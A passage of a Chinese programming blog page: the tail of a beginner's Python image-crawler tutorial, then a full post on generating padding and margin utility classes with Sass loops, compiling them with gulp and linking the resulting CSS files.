<span class="comment">##这儿更改了一下（是不是发现  self 没见了？）</span></span><br><span class="line">        f = open(name + <span class="string">'.jpg'</span>, <span class="string">'ab'</span>)</span><br><span class="line">        f.write(img.content)</span><br><span class="line">        f.close()</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">mkdir</span><span class="params">(self, path)</span>:</span> </span><br><span class="line">        path = path.strip()</span><br><span class="line">        isExists = os.path.exists(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> isExists:</span><br><span class="line">            print(<span class="string">u'建了一个名字叫做'</span>, path, <span class="string">u'的文件夹！'</span>)</span><br><span class="line">            os.makedirs(os.path.join(<span class="string">"D:\mzitu"</span>, path))</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">u'名字叫做'</span>, path, <span class="string">u'的文件夹已经存在了！'</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Mzitu = mzitu() <span class="comment">##实例化</span></span><br><span class="line">Mzitu.all_url(<span class="string">'http://www.mzitu.com/all'</span>) <span class="comment">##给函数all_url传入参数  你可以当作启动爬虫（就是入口）</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>改动的地方我都有明确标注哦！仔细看看有什么不同吧。</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/哎哟卧槽" class="author" itemprop="url" rel="index">哎哟卧槽</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-10-30 14:56:23" itemprop="dateCreated datePublished" datetime="2016-10-30T14:56:23+08:00">2016-10-30</time>
                </span>
                <span id="/3256.html" class="post-meta-item leancloud_visitors" data-flag-title="小白爬虫第二弹之健壮的小爬虫" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>23k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>21 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3276.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> HTML <i class="label-arrow"></i>
                  </a>
                  <a href="/3276.html" class="post-title-link" itemprop="url">利用Sass自动生成padding和margin边距样式</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="需求分析"><a href="#需求分析" class="headerlink" title="需求分析"></a>需求分析</h2>
                  <p>有需求才有动力！ 写CSS的时候，你经常会遇到要设置一个小边距，比如设置： 所有内边距10px，外左边距20px，内右边距0，上下内边距50px，外左右边距自动…. 而你是不是又不想自己单独为它们定义一个class，然后把padding, margin之类的写进去？ 举例如下： 现在我有两个p标签，我想让这两个p标签中间相隔10px，那是不是需要？</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">style</span>=<span class="string">"margin-bottom:10px"</span>&gt;</span>Hello<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>World<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>又或者</p>
                  <figure class="highlight cpp">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;p <span class="class"><span class="keyword">class</span>="<span class="title">m</span>"&gt;<span class="title">Hello</span>&lt;/p&gt;</span></span><br><span class="line"><span class="class">&lt;p&gt;<span class="title">World</span>&lt;/p&gt;</span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class">.<span class="title">m</span> &#123;</span></span><br><span class="line">    margin-bottom: <span class="number">10</span>px;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>类似这样的情况多了去了，每次都要定个样式就为了解决个边距问题？ 能忍吗？能忍吗？反正我是不能忍。改改改，燥起来！</p>
                  <h2 id="协议规定"><a href="#协议规定" class="headerlink" title="协议规定"></a>协议规定</h2>
                  <p>那么为了解决这么一个问题，我们首先要想好解决标准。</p>
                  <h3 id="边距层级"><a href="#边距层级" class="headerlink" title="边距层级"></a>边距层级</h3>
                  <p>首先边距问题，我们首先要定义这么几个层级： 极小、很小、小、正常、中等、大、很大、极大。 对应的边距划分为： 2px、5px、10px、15px、20px、30px、40px、50px。 那么代号就标记为： xxs、xs、sm、‘空’、md、lg、xl、xxl。 另外我们还有其他的样式，比如自动auto、初始化initial、继承inherit、无边距none。 那么代号标记为auto、ii、ih、none。 这样的划分基本可以满足需求。</p>
                  <h3 id="简称划分"><a href="#简称划分" class="headerlink" title="简称划分"></a>简称划分</h3>
                  <p>然后定义几个简称： 我们用到的单词有内边距、外边距、上下左右等，那么定义如下： padding-&gt;p、margin-&gt;m、right-&gt;r、left-&gt;l、top-&gt;t、bottom-&gt;b、horizontal-&gt;h、vertical-&gt;v。 其中horizontal和vertical指代水平方向和垂直方向，也就是同时设置左右或者同时设置上下。 当然不能忽略了反向边距，比如外边距是负10px，这个也需要用一个简称，我们定义为n，是反向的意思。 如此一来，所有的简称和边距就规定好了。</p>
                  <h2 id="实例说明"><a href="#实例说明" class="headerlink" title="实例说明"></a>实例说明</h2>
                  <p>通过上面的层级关系和简称划分，我们可以对他们进行自由组合，形成一个个class样式。比如： .p-t-xs 即为上内边距是5px，.p-h-md 即为左右内边距是20px，.p-b-n-lg 即为下内边距是-30px， .p-r-xxl 即为右内边距是50px，.p-t 即为上内边距为正常边距15px（正常边距省略即可），.p-n 即为内边距是-15px。 .p-v-n 即为上下内边距是-15px，.m-h-auto 即为水平左右外边距是自动auto, .m-t-ii 即为上外边距是初始化initial。 .m-r-none 即为右外边距是0。 怎样？通过这样的定义，能不能找出规律？即 第一个字母p或者m，代表padding或者margin。 第二个字母代表方向，t上方、b下方、l左方、r右方、v上方和下方、h左方和右方。 第三个（组）字母代表距离，xs是+2px，n-lg是-30px，空是自动边距15px，n是反向正常值-15px，ii是初始化，none是无，auto是自动边距。 怎样？有了这些定义，我们是不是就能非常方便地设置边距样式了？刚才的边距怎样解决？很简单，只需要</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="tag">&lt;<span class="name">p</span> <span class="attr">class</span>=<span class="string">"m-b-sm"</span>&gt;</span>Hello<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>World<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>如果一个网页里有很多样式，那只需要把整个样式文件引入，自由地添加class就好了。</p>
                  <h2 id="编写Sass"><a href="#编写Sass" class="headerlink" title="编写Sass"></a>编写Sass</h2>
                  <p>这么多组合呢？写CSS不累死了？检查也不好检查。 怎么办？上Sass！ 首先我们先定义一层映射，边距映射：</p>
                  <figure class="highlight groovy">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">$map:</span> (<span class="string">none:</span> <span class="number">0</span>, <span class="string">auto:</span> auto, <span class="string">ii:</span> initial, <span class="string">ih:</span> inherit, <span class="string">xxs:</span> <span class="number">2</span>px, <span class="string">xs:</span> <span class="number">5</span>px, <span class="string">sm:</span> <span class="number">10</span>px, <span class="string">''</span>: <span class="number">15</span>px, <span class="string">md:</span> <span class="number">20</span>px, <span class="string">lg:</span> <span class="number">30</span>px, <span class="string">xl:</span> <span class="number">40</span>px, <span class="string">xxl:</span> <span class="number">50</span>px,</span><br><span class="line">        n-<span class="string">xxs:</span> <span class="number">-2</span>px, n-<span class="string">xs:</span> <span class="number">-5</span>px, n-<span class="string">sm:</span> <span class="number">-10</span>px, <span class="string">n:</span> <span class="number">-15</span>px, n-<span class="string">md:</span> <span class="number">20</span>px, n-<span class="string">lg:</span> <span class="number">30</span>px, n-<span class="string">xl:</span> <span class="number">-40</span>px, n-<span class="string">xxl:</span> <span class="number">-50</span>px);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这里定义了所有的边距和它的简称。 然后我们尝试写一下padding的函数，遍历一下：</p>
                  <figure class="highlight scss">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line"> <span class="selector-class">.p-</span>#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">   <span class="attribute">padding</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这，那空的咋办? 不能留个下划线啊。判断一下</p>
                  <figure class="highlight scss">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@function</span> line(<span class="variable">$style</span>) &#123;</span><br><span class="line">  <span class="keyword">@if</span> <span class="variable">$style</span> != <span class="string">''</span> &#123;</span><br><span class="line">    <span class="keyword">@return</span> <span class="string">'-'</span>;</span><br><span class="line">  &#125; <span class="keyword">@else</span> &#123;</span><br><span class="line">    <span class="keyword">@return</span> <span class="string">''</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">  <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line"> <span class="selector-class">.p</span>#&#123;line&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">   <span class="attribute">padding</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>这样我们就生成了所有padding边距的设置。 好接下来设置下水平和垂直边距吧，这个就需要两句话了，比如设置水平你得写padding-left 和 padding-right。 有的小伙伴说了，可以直接写一个啊，比如 padding: 0 20px 就可以，不过这样你同时设置了上下边距。即便上下边距我们设置成inherit或者什么其他的，那也多多少少在某种情况下产生影响。 所以这里我们直接分开，而且就算不分开，你之前的映射就要修改，还是麻烦的。 所以这里定义如下：</p>
                  <figure class="highlight scss">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">    <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">    <span class="selector-class">.p-v</span>#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">      <span class="attribute">padding-top</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">      <span class="attribute">padding-bottom</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">    <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">    <span class="selector-class">.p-h</span>#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">      <span class="attribute">padding-left</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">      <span class="attribute">padding-right</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>那最后，单边距的定义如下，我们给它加个循环：</p>
                  <figure class="highlight scss">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="variable">$directions</span>: (t: top, b: bottom, l: left, r:right);</span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$d-key</span>, <span class="variable">$d-value</span> in <span class="variable">$directions</span> &#123;</span><br><span class="line">    <span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">      <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">      <span class="selector-class">.p-</span>#&#123;<span class="variable">$d-key</span>&#125;#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">        <span class="attribute">padding</span>-#&#123;<span class="variable">$d-value</span>&#125;: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>如此一来，padding的就写好了！ 那么margin的怎么办？很简单，再加一层循环，最终代码如下：</p>
                  <figure class="highlight scss">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">@function</span> line(<span class="variable">$style</span>) &#123;</span><br><span class="line">  <span class="keyword">@if</span> <span class="variable">$style</span> != <span class="string">''</span> &#123;</span><br><span class="line">    <span class="keyword">@return</span> <span class="string">'-'</span>;</span><br><span class="line">  &#125; <span class="keyword">@else</span> &#123;</span><br><span class="line">    <span class="keyword">@return</span> <span class="string">''</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$map</span>: (none: <span class="number">0</span>, auto: auto, ii: initial, ih: inherit, xxs: <span class="number">2px</span>, xs: <span class="number">5px</span>, sm: <span class="number">10px</span>, <span class="string">''</span>: <span class="number">15px</span>, md: <span class="number">20px</span>, lg: <span class="number">30px</span>, xl: <span class="number">40px</span>, xxl: <span class="number">50px</span>,</span><br><span class="line">        n-xxs: -<span class="number">2px</span>, n-xs: -<span class="number">5px</span>, n-sm: -<span class="number">10px</span>, n: -<span class="number">15px</span>, n-md: <span class="number">20px</span>, n-lg: <span class="number">30px</span>, n-xl: -<span class="number">40px</span>, n-xxl: -<span class="number">50px</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$names</span>: (m: margin, p: padding);</span><br><span class="line"><span class="keyword">@each</span> <span class="variable">$n-key</span>, <span class="variable">$n-value</span> in <span class="variable">$names</span> &#123;</span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">    <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">    .#&#123;<span class="variable">$n-key</span>&#125;#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">      #&#123;<span class="variable">$n-value</span>&#125;: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">    <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">    .#&#123;<span class="variable">$n-key</span>&#125;-v#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">      #&#123;<span class="variable">$n-value</span>&#125;-<span class="attribute">top</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">      #&#123;<span class="variable">$n-value</span>&#125;-<span class="attribute">bottom</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">    <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">    .#&#123;<span class="variable">$n-key</span>&#125;-h#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">      #&#123;<span class="variable">$n-value</span>&#125;-<span class="attribute">left</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">      #&#123;<span class="variable">$n-value</span>&#125;-<span class="attribute">right</span>: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="variable">$directions</span>: (t: top, b: bottom, l: left, r:right);</span><br><span class="line">  <span class="keyword">@each</span> <span class="variable">$d-key</span>, <span class="variable">$d-value</span> in <span class="variable">$directions</span> &#123;</span><br><span class="line">    <span class="keyword">@each</span> <span class="variable">$style</span>, <span class="variable">$padding</span> in <span class="variable">$map</span> &#123;</span><br><span class="line">      <span class="variable">$line</span>: line(<span class="variable">$style</span>);</span><br><span class="line">      .#&#123;<span class="variable">$n-key</span>&#125;-#&#123;<span class="variable">$d-key</span>&#125;#&#123;<span class="variable">$line</span>&#125;#&#123;<span class="variable">$style</span>&#125; &#123;</span><br><span class="line">        #&#123;<span class="variable">$n-value</span>&#125;-#&#123;<span class="variable">$d-value</span>&#125;: <span class="variable">$padding</span> <span class="meta">!important</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>如此一来，Sass便成功生成了。</p>
                  <h2 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h2>
                  <p>写完了那自然要编译一下咯，废话不多说上gulp。</p>
                  <figure class="highlight less">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-tag">gulp</span><span class="selector-class">.task</span>(<span class="string">'styles'</span>, () =&gt; &#123;</span><br><span class="line">    <span class="selector-tag">return</span> <span class="selector-tag">gulp</span><span class="selector-class">.src</span>(path.sass)</span><br><span class="line">    <span class="selector-class">.pipe</span>(plumber())</span><br><span class="line">    <span class="selector-class">.pipe</span>(sourcemaps.init())</span><br><span class="line">    <span class="selector-class">.pipe</span>(sass(&#123;<span class="attribute">outputStyle</span>: <span class="string">'compressed'</span>&#125;).on(<span class="string">'error'</span>, sass.logError))</span><br><span class="line">    <span class="selector-class">.pipe</span>(sourcemaps.write())</span><br><span class="line">    <span class="selector-class">.pipe</span>(autoprefixer(&#123;</span><br><span class="line">        <span class="attribute">browsers</span>: [<span class="string">'last 2 versions'</span>],</span><br><span class="line">        <span class="attribute">cascade</span>: true,</span><br><span class="line">        <span class="attribute">remove</span>: true</span><br><span class="line">    &#125;))</span><br><span class="line">    <span class="selector-class">.pipe</span>(gulp.dest(path.dest.css));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>或者你们有考拉编译器啊或者其他的都行，能编译就好。 生成的部分结果展示如下：</p>
                  <figure class="highlight css">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="selector-class">.m-none</span>&#123;<span class="attribute">margin</span>:<span class="number">0</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-auto</span>&#123;<span class="attribute">margin</span>:auto <span class="meta">!important</span>&#125;<span class="selector-class">.m-ii</span>&#123;<span class="attribute">margin</span>:initial <span class="meta">!important</span>&#125;<span class="selector-class">.m-ih</span>&#123;<span class="attribute">margin</span>:inherit <span class="meta">!important</span>&#125;<span class="selector-class">.m-xxs</span>&#123;<span class="attribute">margin</span>:<span class="number">2px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-xs</span>&#123;<span class="attribute">margin</span>:<span class="number">5px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-sm</span>&#123;<span class="attribute">margin</span>:<span class="number">10px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m</span>&#123;<span class="attribute">margin</span>:<span class="number">15px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-md</span>&#123;<span class="attribute">margin</span>:<span class="number">20px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-lg</span>&#123;<span class="attribute">margin</span>:<span class="number">30px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-xl</span>&#123;<span class="attribute">margin</span>:<span class="number">40px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-xxl</span>&#123;<span class="attribute">margin</span>:<span class="number">50px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-xxs</span>&#123;<span class="attribute">margin</span>:-<span class="number">2px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-xs</span>&#123;<span class="attribute">margin</span>:-<span class="number">5px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-sm</span>&#123;<span class="attribute">margin</span>:-<span class="number">10px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n</span>&#123;<span class="attribute">margin</span>:-<span class="number">15px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-md</span>&#123;<span class="attribute">margin</span>:<span class="number">20px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-lg</span>&#123;<span class="attribute">margin</span>:<span class="number">30px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-xl</span>&#123;<span class="attribute">margin</span>:-<span class="number">40px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-n-xxl</span>&#123;<span class="attribute">margin</span>:-<span class="number">50px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-none</span>&#123;<span class="attribute">margin-top</span>:<span class="number">0</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">0</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-auto</span>&#123;<span class="attribute">margin-top</span>:auto <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:auto <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-ii</span>&#123;<span class="attribute">margin-top</span>:initial <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:initial <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-ih</span>&#123;<span class="attribute">margin-top</span>:inherit <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:inherit <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-xxs</span>&#123;<span class="attribute">margin-top</span>:<span class="number">2px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">2px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-xs</span>&#123;<span class="attribute">margin-top</span>:<span class="number">5px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">5px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-sm</span>&#123;<span class="attribute">margin-top</span>:<span class="number">10px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">10px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v</span>&#123;<span class="attribute">margin-top</span>:<span class="number">15px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">15px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-md</span>&#123;<span class="attribute">margin-top</span>:<span class="number">20px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">20px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-lg</span>&#123;<span class="attribute">margin-top</span>:<span class="number">30px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">30px</span> <span class="meta">!important</span>&#125;<span class="selector-class">.m-v-xl</span>&#123;<span class="attribute">margin-top</span>:<span class="number">40px</span> <span class="meta">!important</span>;<span class="attribute">margin-bottom</span>:<span class="number">40px</span> <span class="meta">!important</span>&#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>具体的结果等你自己编译一下看看就好啦。</p>
                  <h2 id="资源下载"><a href="#资源下载" class="headerlink" title="资源下载"></a>资源下载</h2>
                  <p>当然有的小伙伴一定嫌麻烦，别急，我这都给你准备好了，编译好的结果放送给大家！ <a href="http://res.cuiqingcai.com/css/pm.css" target="_blank" rel="noopener">pm.css</a> <a href="http://res.cuiqingcai.com/css/pm.min.css" target="_blank" rel="noopener">pm.min.css</a> 需要使用的小伙伴们直接在HTML代码中引入就好啦！</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">&lt;link <span class="attribute">rel</span>=<span class="string">"stylesheet"</span> <span class="attribute">href</span>=<span class="string">"http://res.cuiqingcai.com/css/pm.css"</span>&gt;</span><br><span class="line">&lt;link <span class="attribute">rel</span>=<span class="string">"stylesheet"</span> <span class="attribute">href</span>=<span class="string">"http://res.cuiqingcai.com/css/pm.min.css"</span>&gt;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>本文介绍了使用Sass自定义边距样式的流程，希望对大家有帮助！</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
